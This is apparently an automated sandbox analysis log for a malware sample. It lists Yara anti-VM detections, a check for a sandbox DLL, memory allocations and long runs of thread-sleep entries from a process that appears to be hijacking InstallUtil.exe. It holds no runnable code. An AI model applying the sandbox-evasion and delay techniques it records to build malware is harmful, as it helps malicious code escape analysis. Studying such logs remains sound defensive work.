Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Ref_336210627.exe, 00000000.00000002.1790161541.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.000000000299F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.00000000032CB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory allocated: 1630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory allocated: 32B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory allocated: 18F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 27E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: 2970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: 26D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: 3230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: 30C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 22C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2490000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4490000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 18C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3260000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 5260000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599888	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599559	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599449	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599223	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599106	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598974	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598841	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597748	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597529	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596845	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596731	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596514	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596232	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595866	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595751	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595355	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594686	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594331	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598467
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597515
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596941
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599527
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599111
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598924
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598232
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596433
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596323
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596211
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595187
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594391
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594063

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3386	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6449	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 1042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 8796
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7262
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2577

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 764	Thread sleep count: 3386 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599888s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 764	Thread sleep count: 6449 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599780s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599559s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599449s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599223s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -599106s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598974s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598841s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598624s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598296s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597968s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597748s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597529s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3468	Thread sleep time: -597093s >= -30000s	Jump to behavior
